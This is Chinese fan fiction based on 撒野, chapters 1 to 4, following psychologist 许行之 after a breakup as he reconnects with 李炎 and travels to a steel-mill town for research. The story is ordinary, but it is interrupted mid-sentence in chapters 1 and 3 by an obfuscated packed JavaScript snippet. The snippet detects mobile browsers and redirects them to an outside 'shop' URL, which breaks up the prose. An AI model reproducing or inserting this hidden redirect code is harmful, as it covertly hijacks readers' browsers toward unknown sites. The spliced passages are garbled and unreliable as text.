《淬火[撒野同人许行之x李炎]》 1. 第1章(捉虫) 在医院三楼平台的吸烟处,许行之拿出了藏在外套口袋里刚买的烟,撕开了透明塑料包装,打开烟盒取了一支出来衔在嘴里,又掏了掏没找到打火机,在裤兜里摸索到了,点燃的一瞬间他吸了一口,呛得他直咳嗽,赶紧把烟从嘴边拿了下来,放在眼前盯着看,他不懂烟有什么好抽的,竟然有那么多人嗜烟如命。手里的这根烟都没燃上三十秒,就被摁灭在了公共烟灰缸里,连带着刚买的那一盒和打火机一起,都扔进了垃圾桶。 想抽烟是因为—— 今天是失恋后的第一天。 昨天在家楼下看见周宇琛与另外一个男人抱在一起,脸上还带着得意的笑,俩人的手来回缠着好几下才松开,那人还对着周宇琛做了个打电话的手势,他看见周宇琛也回了个OK。许行之想,要不是和科室里的其他医生换了班,也不知道自己还会被蒙在鼓里多久。 在看见这场景的一瞬间,许行之没有暴怒,甚至没感觉到生气,排开这些激烈的情绪,他心里更多的是不解和失望。三年了,从五年本科毕业开始,他就和周宇琛在一起了。在一次医学院的集体论坛会议上,他一眼就看到了俊秀又清爽的周宇琛,先是打听了周宇琛的情况,在确认了周宇琛的性向后,许行之才开始靠近他、追求他,半年后,他们确认了关系。 许行之读的是临床心理学,周宇琛专攻肺循环科,两个人在一起之后,还在医学院里留下了一段隐秘的佳话。医学生大多看得开,他俩也从未遮遮掩掩,有些饭局也一起出席,久而久之也算是公开了。两人专业水平都过硬,导师也差不多了解情况,都给他俩推荐进了三院规培,三院是个比较大的综合医院,科室比较全,其中心理临床医学科还是国家精神心理疾病临床医学研究中心的重点项目科室,两人为了这样的安排,还特意请两位导师一起吃了顿饭感谢。 参与规培一个月后,由于疲于奔波在宿舍和医院两地,两人决定在医院附近租个房子,宿舍暂时不退,做课题的时候还得在学校里有个落脚地。三年,两人几乎没有争吵,许行之也处处维护,因为周宇琛猫毛过敏,许行之连猫都送回了爸妈家里,下班早了做饭,下班晚了为了不影响周宇琛的睡眠,他会主动睡在客厅的沙发上,许行之想不到他们俩究竟出了什么问题,周宇琛才会做出这样的事情,退一万步说,有什么问题,为什么不提出来? 进了电梯后,许行之深吸了一口气,愣了好几秒才按下了楼层,电梯上升的十几秒的时间,许行之甚至在思考,要不要假装没看到,但那副场景,明显两个人不是第一次交集了,怎么能装没看到?他是心理医生,动作、表情、语气,没有一样不能分析,几乎都不用听他们说什么,他就知道他们在表达什么情绪,倾慕、眷恋、还带了些欲望。 指纹锁太方便了,他都不用在包里掏钥匙,一点心里准备的时间都不给自己留,他就进入到了那个空间里,这会他不想叫这个地方“家”,他没办法和一个背叛他的人有家。他叫了周宇琛过来,问他有什么想说的没,许行之从他躲闪的眼神读懂了,他知道自己暴露了。但令他意外的是,周宇琛后来眼神里的镇定,丝毫没有被撞破时应该有的慌乱,仿佛准备这一刻很久了。 “你看我的时候,我总感觉你在分析我,你的掌控欲让我没有安全感,我只是想谈个恋爱,并不想当你的病人。” “我以前以为我喜欢你,就可以忍受你的职业习惯,我也向你提出过,记得吗?你改了吗?” “你这样的人,真不适合谈恋爱。” “我受够了,我们分手吧。” 这是周宇琛留给自己的话,许行之竟然觉得无力反驳,他以为,周宇琛要和他分手,是因为自己最近太忙了没顾上他,又或者觉得在一起久了没有新鲜感,再或者是刚刚那个人比他更有吸引力,哪个理由都好,却没想到这个原因最后落在了自己身上。本来准备好的一肚子“有什么问题你说出来”“我们一起解决”之类的话,一句都说不出口,长久的沉默之后,就说了一句,“好吧。”又过了几秒,他再次向周宇琛问道:“你确定吗?” “我明天就搬走,虽然不太愉快,但这三年谢谢你。” 这是周宇琛对自己说的最后一句话,说完他就从储藏柜里拿出了行李箱,拖进了卧室里。卧室里传来的柜门开开关关的声音、衣架拿下又挂起来的声音、然后又是抽屉,许行之觉得很吵,但他没有动。他从回到家,一直到第二天上班,都没有进过卧室,睡觉的衣服是从阳台上拿的,刚洗好的才干的短T和运动裤,他在沙发上睡了一夜。 今天早上6点,他就醒了,简单洗漱了之后就先离开了这个地方,在医院食堂吃了早饭,一上午在主任医师后面记录病例,直到午饭后,他才去更衣室换下了白大褂,穿上了自己的外套,去医院大门对面的小店里买了包烟,想试着舒缓一下自己,或者说,想麻痹一下自己,但终究还是太呛,一口刚进嘴里,咳出来的烟雾就从嘴角和鼻子里漏了出来。 失恋都失得那么理智,许行之想,或许他真的不太适合谈恋爱。 掌控别人?有吗?怎么更多人说他是不错的倾听者来着。 倾听的时候分析,然后引导——算掌控吗?或许吧。 烟是扔了,可心里的雾还没散,许行之看了一眼时间,还有15分钟门诊才开始,算上换衣服做准备的5分钟,他还能呆上10分钟。夏天的露天平台真不好呆啊,沾上点阳光都觉得发热发烫,天倒是晴朗,一丝云都没有,想着就从口袋里拿出手机,对着蓝天来了个六连拍,在下楼的前一分钟发了个朋友圈,没有字,而是几乎一模一样的六张蓝天,发完后他觉得就像出了气一样,胸口那种憋闷感顺多了。 下午的门诊很忙,许行之几乎没有分神的时间,病人的陈述、主任医师的看诊、治疗方案、用药计量……他一一在电脑上敲着字,直到主任医生随时考自己问题没答上来,他才觉得自己是真的有点失态了,这是很少有的情况,平日里许行之能做到回答之外,还可以举一反三。趁着门诊的间隙,主任医生叹了口气,问他怎么了,他说没什么就是没睡好,主任也就盯着他看了几秒,没多话。自己和主任医生师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338552|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承同一位导师,严格说来主任还是自己的师兄,许行之知道他看出了自己不对劲,但他不想讲。在这一刻,他突然明白了周宇琛的意思,观察他、分析他、引导他……掌控他,他厌恶的、厌倦的,大概就是这个被看透的感觉吧。 下班后,许行之没有直接回家,而是又去医院食堂吃了晚饭,吃完看了看食堂的表也就7点,路过了几个自己科室里的护士问自己怎么还没回家,笑着问自己是在等周医生么,许行之也只好笑笑作罢,医院里熟人太多了,还是别呆在这里了。出了医院后,他拿着包就顺着路走,今天周宇琛要搬走,他不想回去,万一又碰到什么尴尬场面,他觉得以今天自己的精力来说,不太好对付。 已经走过了一家便利店,许行之又退了回来,走了进去,在门面玻璃边上的长条快餐桌边,坐上了一个高脚凳,他把包直接放在了桌子上,一手撑着头,一手刷着手机,心里自嘲,没想到一向冷静自持又体面的许医生,这会儿为了逃避被分手的尴尬场面,宁可在便利店消磨时间。 中午发的朋友圈没什么意义,微信里的朋友们也点赞点得随意,这些不明就里的人啊,一个赞轻轻松松,都不知道自己在赞些什么。又有一条朋友圈消息,许行之刷开来打算看看是谁还在不知所云地给他点赞。 李炎:[棒棒糖][棒棒糖][棒棒糖][棒棒糖][棒棒糖][棒棒糖] 许行之坐直了,先点开了李炎的名字,看到他昵称里写的是“大漂亮”三个字,一下没忍住,笑了出来,顺手就把备注名去掉了,把“李炎”俩字放到了描述里。加他那会儿好像是六七年前的事儿了,给顾飞的妹妹顾淼做咨询,有一回顾飞有事儿,是李炎把顾淼带过来的,那会要不是知道蒋丞和顾飞的关系,他一定会把李炎和顾飞想到一块儿去。 许行之点开了和李炎的聊天记录,基本都是一些新春吉祥、端午安康、中秋快乐的模板短信,上一条是端午了,结尾是大漂亮李炎在此祝您端午安康,万事顺意,一下把许行之整乐了,他长什么样来着? 最后一次见他是把顾飞顺到R大去的那一天,李炎帮着把顾淼带回家了,许行之回忆着,长头发,还……染成了黄色,眼睛细长,好像见他两次都因为感冒戴着口罩,就拉下来过一次给自己打了个招呼,总体说来那张脸很……漂亮,大漂亮的漂亮,声音挺柔和,就是有点儿出口成脏,反正挺有意思的一人。 瞧着自己那条朋友圈里一溜点赞,就他给自己回了六个棒棒糖,自己这会儿说不上心烦还是无趣,顺手就给人回了三个问号过去。 知回复大漂亮:??? 许行之觉得有点儿渴,去饮料柜里拿了瓶金桂乌龙,买完了单又回到了刚坐着的位子上,刚喝了一口又刷新了下手机,李炎竟然又给自己回了。 大漂亮回复知:表情包里没棉花糖,天太空了,一张给你安一颗棒棒糖,将就当云吧。 许行之看着手机,皱着眉笑他的脑回路,职业习惯里的分析劲儿又上来了,倒是没什么深层次结论,就是觉得,这大漂亮,还挺会哄人。 2. 第2章(捉虫) 三年后,许行之29岁,成为了三院心理临床医学科的主治医师,除了出门诊外,还会协助导师一起做一些项目,几乎没有闲暇的时间,完完全全投身于工作中。起初不少人对于他和周宇琛的分开表示意难平,毕竟是系草和系草的恋爱,看着养眼不说,俩人还都是各自导师的得意门生,当帅气和优秀同时出现在一个人身上的时候就足够惊艳,何况是凑成了一对的两个。对于分手这件事,他们也各自保留了默契,对外都是说工作太忙了没心思谈恋爱,时间长了感情淡了就和平分手了。 导师有侧面问过自己和周宇琛怎么回事,他知道自己瞒不过,就直白地说了句自己的问题,其他没多提,许行之就记得那次聊起过之后,导师就跟自己说也要花点时间在自己身上,埋头猛干容易把自己搞伤了。 其实和周宇琛分手也不是说完全没好处,那间之前租的一室一厅在周宇琛搬走一周后就退了,自己又花了大价钱租了个更大的,一百二十平的三室一厅,他把放在爸妈家的两只猫又接了回来,上次路过医院门口的水果店,看见个奶白奶白的小猫躺在西瓜上睡觉,问了老板说这猫也不知道哪来的,他就又顺了一只回去,三喵成虎,许行之觉得挺好。 就是……这三年里没再恋爱了,师妹赵劲也问过他,刨去整个医学院,跨院跨系跨领域的给自己告白的、组局的都不少,怎么就没从人海里挑出个想试试的,难道真的对周宇琛余情未了?许行之的模板化回答就是忙工作忙课题没心思,被问烦了就说没看得上的,赵劲也就不再提了,毕竟要再找一个优秀的系草,太难了。 这天下班后,许行之正在整理自己的病例笔记,导师给他打了个电话,让他有空的话明天去找他一下,有个项目想问问他有没有兴趣一起做,他看了看明天正好不出门诊,上午有个会诊结束后就没有特殊安排了,就应了下来。 隔天中午许行之出医院大门的时候,觉得阳光刺眼得厉害,晒在身上都觉得疼,但天空倒是一望无际的蓝,一朵云都没有,脑子里突然闪现了三年前自己发的那条朋友圈,天空六连击,下边还有李炎的棒棒糖六连击,迅速钻进了车里开了空调,热气烘得他脑门都出了一层薄汗,等车启动的这几分钟他又打开了李炎的对话框,这三年里也没和他正经说过话,全靠李炎的群发祝福支撑着脆弱的联系,上一条还是端午,李炎大漂亮又祝了自己端午安康,这次倒没说万事顺意了,结尾是恭喜发财,许行之笑了一下,心里想,大漂亮市侩了啊。 “行之啊,之前你给一个钢厂家属的小姑娘做咨询,还有联系吗?”到了导师办公室,自家导师直接开门见山。 “嗯,偶尔有,她哥隔一段时间会给我看一下近况。” “好啊,有联系就好。这次这个项目就是省里拨的款,主要研究重工业发展后的老职工的心理健康问题,因为发现这些重工业家属片区的犯罪率有点偏高,那个钢厂就在调研列表里,我就申请下来了。”导师说了一长串,停顿了一下,“就是时间上有点赶,这周末你值班吗?” 许行之打开手机看了看这周的排版表,这周末正好是空的,他也听懂了导师的意思,“不值班,我周五下班就开车过去?” “好好好,先去和那边钢厂的工会联系人见一下,安排一下具体的调研时间,”导师叹了一口气,“调研的大纲和主要问题,我一会发你邮件。” 师生二人没有多聊,许行之一会儿就离开了。 许行之的家没有再装智能锁,他觉得掏钥匙开门的这十几秒是个缓冲,无论门里是有蓄势待发的猫也好,还是有点别的什么场景也好,这十几秒足够里里外外都做些准备,比如这时候——毛肚就从家里冲了出来,许行之敏捷地用腿一挡,把它挡在了门后。 毛肚、肥牛、金针菇是他养的三只猫,其中毛肚和肥牛是和以前借给顾淼的肥羊是一窝的,金针菇是他从水果店里捞的,每次回到家三只小东西就会攒到自己脚边等自己给它们开罐头,许行之就不厌其烦地每天开一个120g的罐头三只喵一起分一分,每只都有属于自己的透明小碗,虽然没有贴标签,许行之却从来不会弄错。 收拾完倚在沙发里的时候,许行之想了想还是给顾飞打了个电话,“我周末要去一趟钢厂,有个调研项目,你和蒋丞最近要回去吗,我可以顺你们一段。” “谢谢许学长,”电话里顾飞的声音不是很清楚,许行之都已经习惯了,他和蒋丞上来不管说什么,都先是一通谢,都跟他俩说过好多遍了,怎么都改不了,“不过我这几天在外面拍摄,要呆到下周,丞哥最近也接了个案子挺忙的,应该不回去。” “噢行,那没事了,我就是想着来问问,挂了啊。” “哎许学长,”顾飞叫住了他,“你们几个人来啊?” “没几个人,就我。” “那别开车了,开半天车再坐项目,太折腾人了,”顾飞的声音远了一下又近了,好像在和旁边的人在打招呼,“通高铁了,说是只要三四个小时,我和蒋丞还没坐过呢,你坐高铁去吧。” 许行之没说话,其实是在认真考虑顾飞的提议,的确……开几个小时车再调研,能累死他。 “别担心许学长,没事儿,我让李炎去接你。”顾飞语速加快了点,“你买好了票发我个信息,别的都不用操心哈,都能安排好,我这催呢,不好意思我得先挂了,信息发我啊。” 没等许行之回复,顾飞就把电话挂了,得,那就坐高铁去吧,许行之想着就把周五傍晚的票买了,截了个图发了过去,没想到顾飞很快就回了,就俩字:安排。 到了周五,还没到下班的时候呢,自己还在出门诊呢,手机就在桌子上滋滋滋地震,碍于和患者沟通,他把手机从桌上拿了下去,塞进了裤兜里,可这手机跟上了发条似的,震个没完,好不容易聚精会神给患者开了检查单,还没摁下下一个患者的呼叫铃,许行之把手机拿了出来,看看谁到底有什么急事儿。 不是电话,打开了微信,看见了上次还给自己端午安康的李炎挂在了最上面,三条未接听,两条语音电话,最后一个是视频电话,许行之给人回了个文字过去“上班,晚点联系”,没想到李炎直接甩了一条语音过来,许行之有点无语,都说了上班了还给自己发语音条,接着又来了一条信息,“听不了就翻译成文字”。 这不是能打字吗?就非得发这个语音条? 许行之长摁了个翻译,“发张照片过来”,他仔细看了看这条内容很久,感觉每个字都认识,但连成了一句话他就想从肚子里掏出个问号发给他,不得其解。 诊室的门被敲了敲,许行之才反应过来自己小差开了有一会儿了,才把手机屏幕关掉放在一边,又叫了患者进来继续。周五下午的门诊格外多,许行之还加了几个号,堪堪坐诊到了将近五点才把号全部看完,高铁还有五十分钟就要开了,许行之快速收拾了东西到更衣室里换了衣服,拿了前一天就收拾好的双肩包就迅速走出医院,这会儿打车七点都到不 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猫的事搞定了,终于可以把自己憋着的一股气撒一撒了,他打开了李炎的对话框,看着那条翻译成文字的“发张照片过来”,和三条催命一样的未接记录,回复的字已经在对话框敲好了,“???”,还是三个问号,刚想发出去,手就被旁边的大爷撞了一下,大爷正掏包里的保温杯呢,一个力没收住撞上了。 “不好意……” “发张照片过来。” 大爷的声音和李炎的声音同时响了起来,不同的是大爷没讲完,李炎讲完了,大爷狐疑似的看了他一眼,才秃噜出了最后一个字,“思。” 和大爷比,李炎的声音好听多了,有一种……柔中带刚的慵懒,像是刚睡醒,朦朦胧胧的,许行之也不知道什么时候把接听音量调得那么大,一句话下来感觉周围都安静了,他赶紧把音量调小,三个问号到底没发出去,脑子里倒闪过了另一个疑问,李炎的声音……这么……好听的么?许行之鬼使神差地挂上了耳机,点开又听了一遍,他好像忘记自己刚刚要回复什么了,于是又点开听了一遍。 “好久不见,我是许行之。”最后打过去的字是这个,发过去后他自己也觉得有点尴尬,这问的哪门子好,又补了一句,“刚发车,估计还有四个小时出站,谢谢。” 不一会儿李炎的信息就回了过来,“发张照片过来,我不记得你长什么样了,怕接错人。” “不用,我记得你。”李炎的特征太明显了,许行之稍稍回忆就能记起来他的样子。 这会儿李炎倒是有点失去了耐心,又甩了条语音过来,“接站人多,我找你方便,让你发就发。” 不过这带点急躁的声音,还是很好听,许行之又听了第二遍。 发就发吧,又没什么见不得人的,好歹自己曾经还是系草里最草的那一棵。 许行之不太自拍,手机相册里大多数都是猫和讲座的PPT,偶尔有些静物和景,寥寥几张还是侧脸,怎么看都觉得不是能一眼认出自己的样,索性登录了三院的网站,搜索到了自己的科室,把自己的职业一寸照截了个图,黑色短碎发、正脸、露耳,挂了一副银丝边框的眼镜,里面是衬衫,外面是白大褂,眼睛冒着精光,表情严肃又专业。 发出去之前许行之犹豫了一下,但又鬼使神差地听了一遍李炎的语音,手指头一出溜就发出去了。 他不知道的是,已经在火车站等得不耐烦的李炎,在收到照片的时候,一口可乐喷了出去。 “我操,这么帅!” 3. 第3章 许行之在出火车站的时候都过十点了,这会儿的确在出口接站的人比下车的人多,但他还是一眼就看到了靠在柱子上的那个人,奶黄色的短袖T恤和牛仔五分裤,脚上踩着一双黑白格的板鞋,还是长发,就是这回不是散着的,随意扎了个髻挂在脑袋后面,可靠前的发好像还是不够长,在太阳穴这儿散落了点碎发下来,打量完了说是来接他的这个人,许行之心里点了点头,嗯,漂亮,真漂亮。 但人家李炎眼睛根本就没往这儿看,低头看着手机不知道在琢磨什么,皱着眉表情有点儿深邃,从嘴角瘪着的弧度来看……他好像还有点不耐烦,许行之把双肩包往上颠了颠,走到了李炎面前,伸手在他眼前挥了一下。 “哎不需要。”李炎头都没抬,冒了个声儿,看来今天晚上他不是第一次被打扰了。 “你是李炎吧?”许行之终究还是开口了。 李炎啧了一声,终于抬了头,看了看许行之又翻腾着手机看了眼,吸了口气带着疑问说:“许行之?” 许行之点了点头,“嗯。” 李炎眯了眯眼睛,说话的语气很缓慢,“不应该啊,你怎么比照片里还帅啊?” 许行之一下被逗乐了,“你很失望?” “没有没有没有,”李炎接连否认,“那什么,走吧?吃过晚饭了吗?” 被这么一说许行之才反应过来,今晚还什么都没吃呢,下了班就来了个长跑,在高铁上也没想起来,“没,你随便带我吃点吧。” “行,走着。”李炎绕到许行之背后想去拿行李,却发现他两手空空,“你什么都没带?” 许行之反手摸了下双肩包,“都在这儿了。” “嗨,顾飞让我来接你的时候关照了一堆,”李炎带着许行之往停车场走,“我以为你是什么讲究人呢,没想到帅哥也这么糙啊。” 许行之摇了摇头,轻轻笑了一下,没搭话。这话说的,总不见得自己和他说,你们这边不热,我也就呆两天,书包里有换洗的一件T恤和内裤吧,汉子一条,糙就糙吧。 李炎开了辆斯巴鲁的森林人,许行之坐上副驾后,自然地把书包卸了下来,本来想放腿上,李炎顺手拽了就往后座一扔,也没管他包里有什么易碎物品,还别说,许行之特意回想了一下自己的转接器的位置,接口可别给拗坏了,幸好,放书包夹层里了,不会有什么大问题。 一路上俩人先聊了顾淼,许行之说虽然比之前好多了,但顾淼还是有很长的恢复期,需要不断地和她耐心说话和训练,李炎听了后认真地点了点头,他说自己常给顾飞打电话,也总想着跟顾淼说两句,就是顾淼不太搭理他,就只认蒋丞那一个叫得出名字的哥,说自己心都碎了。许行笑着让他别放弃,有更多不同的人和顾淼聊天,她就能逐渐构建起更健全的世界。 后来他俩又聊到了顾飞和蒋丞,不说这个李炎还不激动,说了这个事儿李炎就气不打一处来,“啊,这连人带妹地拐跑了,现在也就过年才回来了。” 许行之注意到,虽然这气儿是真的,话里的埋怨也是真的,但他翘着的嘴角却把他的真实心思暴露了,这哪儿是生气,明明是为兄弟高兴,也多少有点儿舍不得。想到这,许行之发现自己的老毛病又来了,虽然这几年已经十分注意了,尽量不在非工作时间分析人,但偶尔还是会有职业惯性。 “怎么了?”见他没说话,正开车的李炎回过头来看了许行之一眼,又笑着解释了一句,“我没有生气,他俩好就成,愿意上哪儿上哪儿。” “没觉得你生气。”许行之说了一句,就脸朝着车窗别过去打了个哈欠。 “累了吧?一会儿就带你喝个粥,旁边就是定的宾馆,吃完了就睡。今天晚上小烧烤就不招……” 李炎叨叨叨的声音在耳边挺悦耳,眼皮越来越沉,路边昏黄的钠灯一盏一盏退后,直到一片漆黑。 再醒过来的时候,许行之抖了下左手看了眼表,1点了!?他赶紧直起身来深呼吸了一下,还没来得及往边上看,先有一张纸巾递了过来,许行之接了过来,说了句话,声音透出了一点困倦的哑,“做什么?” “口水,擦一下。”李炎说。 一点没犹豫,许行之立马紧张地擦了嘴角和下巴,纸巾干燥得能直接从脸上掉下来,哪来的口水? “哎你们大城市的人,啧,单纯,”李炎的话里夹了点笑意,“擦额头,刚看你睡着了我就把空调关了,有点热应该。” 许行之清了把嗓子,才用纸巾去擦额头,果然有一层汗,纸巾擦皱了捏在手里,李炎的手又伸过来了,“给我吧。” “没事,我一会拿下去。”许行之说着就要从后座拿书包,没想到手里的纸团被李炎直接拿走了,“有汗味儿……” 说和李炎熟吧,除了今天总共就见过两面,还都六七年前了,期间都没正经说过什么话,说跟李炎不熟吧,不管是昨天问自己要照片,还是今天人在自己面前的滔滔不绝,以及刚刚直接拿走的用过的纸巾,好像和不熟这俩字也沾不上边。 眼瞧着驾驶座车窗被李炎放了下来,他左手一弹,成团的纸巾咻——的一下在空中绷了条直线,冲进了垃圾桶的开口里,李炎转过头对着许行之抬了抬下巴,“准吧?” “你手劲不小啊。”许行之实话实说,这么轻的个小纸团,那垃圾桶至少离他们一米五,半空中纸团抖都没抖,直接一个凌空射门,除了准头之外,得大力才能出这个奇迹。 “别人打架抡胳膊,我就喜欢弹人脑壳,嘣的一声,特别爽。”李炎笑着说,“下车,喝粥去。” 这么晚了,许行之有点不好意思,“太晚了耽误你休息,我自己去宾馆随便买个泡面就行。” “你这人真别扭啊,让发照片不发,让给纸不给,让喝粥不喝,又不是多麻烦的事儿。”李炎的话里已经有了些不耐烦。 “不是,”许行之怎么觉得这人拿自己的客气当福气,有点不知好歹呢,“虽然我知道顾飞交代了,但今天已经很晚了,真不用麻烦。” “跟顾飞有什么关系?”李炎反问他,“你现在人在我手上,我就必须给你安排好,懂不懂规矩,赶紧下车!” 这到底是哪门子江湖规矩,许行之不懂,但这会人也不给他懂的机会,刻不容缓地要求自己下车,那就下呗,有饭吃还不好么。 下了车后跟着李炎走进了一家小门面,许行之没想到这么晚了,这家粥铺还开着,人还不少,有些明显是喝吐了来这暖胃的,带着工程头盔来的应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338554|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了工地来的,还有些有大花臂和过肩龙眼神特别凶狠的,也窝在小桌子上喝粥。 “哟,大漂亮来了啊,”粥铺老板对着李炎喊道,“还是老样子?” 李炎摆了下手算是听见了,“老样子,来两份。”他径直往里走找了个没人的小桌子坐下,又朝着许行之抬了抬眼睛,让他坐对面。 隔壁的过肩龙呼噜呼噜地喝了一口,放下碗又打了个巨大的嗝,一抹嘴往边上一看,声音如洪钟一样轰了过来,“漂亮哥!来喝粥啊!”李炎点了点头,嘴里应了一声,大花臂也看了过来喊了声哥,搓了把花生米递过来,李炎看了眼说了声脏,那人又悻悻地拿了回去,中规中矩拿了一把没剥壳的花生过来,放在桌上,李炎啧了一声,“行了,喝你们的。”两人哎哎地应着就不再献殷勤了。 许行之全程没什么表情,没吓着也不好奇,他大概了解过顾飞高中时候的朋友,年纪大多都比顾飞大个几岁,基本都是直接混社会的,别说大学生了,读没读完高中都两说。这会儿两人无话,李炎就拿了手机出来,叮叮当当的声音传过来的时候,许行之才反应过来,那会在接站口他愁的也是这个,许行之开了口,“爱消除?” 听到许行之说的,李炎脑袋一下从手机前抬了起来,猛点了两下头,“你也玩吗?” “不玩。”许行之摇了摇头。 像是想起来什么,李炎对许行之说:“顾飞那会就说蒋丞觉得这游戏弱智,”他顿了顿,“你是不是也这么觉得?” “是有点。”许行之点了点头。 “那你帮我把这关过了吧,大聪明。”李炎直接把手机递过来了。 许行之没拒绝,直接拿了过来,看了看李炎的关数,属于中段往后了,许行之横平竖直地看了看,右手食指在空中来回摆弄了几下,但总感觉哪里有点别扭,意识到的时候直接说出了口,“你别盯着我看。” “哦。”这会儿正好粥上来了,许行之瞥了一眼是皮蛋瘦肉粥,上面还盖了一层厚厚的油条碎和香菜,李炎看着桌上的这两碗,“坏了,忘了问你吃不吃香菜了。” “吃。”许行之没抬头,看来是在空中比划完了,上手扒拉了六七下,一阵BINGO传来,过关了,他把手机还给了李炎。 两人搅和着粥,油条碎在粥里慢慢变软,入口的时候带着一股香气,一碗粥下肚,许行之觉得一整天的疲惫都化了,胳膊腿儿筋都抻开了的那种舒服,他把腿往外舒展了一下,不小心蹭到了李炎的小腿,李炎没抬头但眼睛往上翻了一下看他,那个眼神……不是疑问,也不是警告,但许行之没读明白。 带着许行之办理入住的时候,宾馆的前台也和李炎打了招呼,他点了点头后又从裤兜里摸了根烟叼在嘴里,没点,含着烟说的话有点模糊,像是在给许行之解释,“小地方,都熟。” 收拾完在床上躺下的时候,耳朵边还徘徊着李炎的临走前说的话,他让自己明天完事儿了后给他打电话,说是明天必须把烧烤给自己安排上,许行之就记得自己点了点头,但实在是太困了,刚有没有说话许行之已经记不清了。 但睡前最后一次摸手机看时间的那刻,他突然想起来,爱消除过关递回手机的时候,李炎的手指好像勾了自己一下。 4. 第4章(捉虫) 第二天早上起来的时候,许行之才觉得自己衣服带少了,昨天出了那么多汗,就这么一件T恤,昨天的衣服又来不及换洗,想了想还是给李炎发了个消息,问他晚上能不能给自己捎一件短袖来,随便来个小店里的20块的那种就行,李炎给他回了个OK,许行之眼睛一辣,他也不知道是不是因为三年前周宇琛珩的那个手势,他对这个手势有了点PTSD,反正这几年里,他连OK的表情包都不太发。 和钢厂工会赵老师的对接还是挺顺利的,其实这片六七年已经发展了不少了,钢厂门口的主路已经拓宽了,大门也修过了,赵老师还很自豪地提了句他们钢厂现在也有博物馆了,像是保留了他们曾经被称为共和国长子的勋章一样。老职工大多在前几年就退了,但还是住在家属区里,他说,这些老职工大多是建厂的时候就来工作了,那会儿都没什么文化,都是大老粗,大多爱喝酒脾气都还暴躁,之前上班的时候就容易因为一些口角闹起来,工作的时候还有领导看着,退休了没人管了,惹事的反而更多了,子女大多数也都在钢厂,虽然说不愁吃饱饭吧,但脾气大多一脉相承。 许行之一路听过来也没发表什么意见,但他心里觉得,第一次见顾飞的时候倒没这个感觉,挺干净聪明的人,难道是因为已经和蒋丞相处了一段时间了才这样的?也不像,根儿里就是个聪明人。他又想到了李炎,李炎和顾飞不一样,虽然俊俏漂亮是肯定的,但社会气息比顾飞浓郁多了,少说在社会里浸淫了十多年的感觉。 给赵老师发了访谈安排和问卷后,他露出了点为难的表情,许行之停下了手里的动作。 “赵老师,有什么问题吗?”许行之问。 “不是,问题是没有,但我们厂子最近抓得紧,领导说什么合作都需要签一下保密协议,好像叫MBA什么的。” “噢,好的,”许行之心里知道是NDA,但是没戳破,“您这边模板文件有吗,邮件给我还是我直接带回去?” “有有,晚点我让人给发邮箱里。”赵老师伸手,和许行之握了握手,“职工的心理健康问题我们之前没注意过,还要麻烦许医生帮着一起看看了。” “没事,应该的。”许行之又问他,“那今天我先在钢厂家属楼附近转转做一些随采。” “好的,您一个人不方便吧,我安排个人跟着吧?” “不用,有熟人在怕影响调研基准,谢谢。”正好走到了办公楼大门口,“后续的阶段性访谈时间安排,我再给您发邮件。” “好嘞。”赵老师作势要送,被许行之拦下了,说他自己出去就行,就不劳烦了。 其实说实话,钢厂这边的夏天要比呆的那地方凉快多了,白天也不过三十来度左右,晚上二十三四度,风吹过来都还有点凉意,就是因为纬度高的关系,太阳还有点晒,走出钢厂的大门,照着赵老师指的方向,朝着家属楼的方向走,这一路明显都是被翻新过的,一个门店都没有,许行之前后看看,正门前后至少200米都这样的水泥柱子加铁栅栏,仔细看看还有巴洛克雕花,还挺雅俗共赏。 许行之看了看时间,四点多点儿,说早不早说晚不晚的,就到处逛逛吧。 他顺着路拐了弯后,生活气息就浓郁了起来,门面房一个接一个的,有些地方虽然关着门呢,打牌麻将的声音还从缝里漏了出来,许行之站定看了看,这儿应该就是家属楼片区了,许行之又往里走了走,看到个上了点年纪的人坐在路边的板凳上抽烟,身上还靠了根拐杖,脸上的褶都能夹蚊子,穿着个灰色的老头衫,腿……少了一条腿,难道是工伤?他打算上前随意聊聊。 “叔,这是钢厂家属楼么?”他边说着就边走了过去,在那人旁边蹲了下来。 大叔上下瞅了他一眼,“你谁啊?” “我这边和钢厂做项目的,来附近转转。”许行之找了个借口。 “去去去,没事瞎转悠,狗屁家属楼,钢厂把我们当家属了么?” 碰着钉子了,但许行之还没放弃,“您是钢厂职工吗?” “钢厂早就不要我了,”大叔手随意往后一伸,“咱现在自力更生,看见了吗?这才是我的家属。” ——红火汽修汽配。 “噢,您在这开汽修汽配厂啊?生意怎么样?” 大叔的又把他从头到尾打量了一下,“你不是我们这人吧,你想干什么?有什么目的?”越说他越觉得奇怪,对着门面里头喊了一嗓子,“出来!!有人找事儿!!!” 然后许行之就听见门面房里一顿叮叮哐哐,出来了三个人,手上不是拿着扳手就是细钢管,面色凶狠,许行之这会才觉得后悔了,应该让工会的赵老师给自己安排个人的,至少在面对这样情况的时候,他还能有解释的机会,眼瞧着这仨人逼近自己,扳手都快指到自己鼻子上来了,许行之下意识举起了双手。 “干嘛呢?”有一道声音从三个人背后窜了出来,“吃饱了撑得没事干是吧,还抄上家伙了,都回去!” 